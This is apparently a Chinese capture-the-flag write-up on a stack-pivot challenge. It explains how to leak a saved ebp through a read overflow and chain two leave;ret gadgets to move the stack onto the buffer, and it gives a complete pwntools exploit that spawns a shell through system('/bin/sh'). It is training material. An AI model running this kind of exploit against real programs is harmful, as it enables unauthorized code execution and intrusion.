这题是作为栈迁移的例题,比较简单
check
read两次,只能溢出0x8,有 system 函数
思路是在当前 s 变量里面就把 payload 构造好,然后再把 ebp 到 s 这里来。第一次是覆盖栈里面的0x00,输出 ebp ,需要偏移来给 system "/bin/sh" 的位置。
s 距离 ebp 为 0x38,虽然 esp 会在 pop 的时候 +4 ,第一次执行 leave_ret 之后也确实已经 +4 了,但是第二次执行 leave_ret 的时候又把 mov esp,ebp ,再进行一次 pop 时,又 +4 ,结果就是执行两次 leave_ret ,esp 只加一次。
from pwn import*
#p=remote('node4.buuoj.cn',26017)
p=process('./pwn')
context.log_level='debug'
leave_ret=0x080484b8
system=0x08048400
payload='a'*0x27+'b'
p.send(payload)
p.recvuntil('b')
stack=u32(p.recv(4))
s=stack-0x38
print(hex(stack))
#gdb.attach(p)
payload1=('aaaa'+p32(system)+p32(0)+p32(s+0x10)+'/bin/sh\x00').ljust(0x28,'a')+p32(s)+p32(leave_ret)
p.send(payload1)
p.interactive()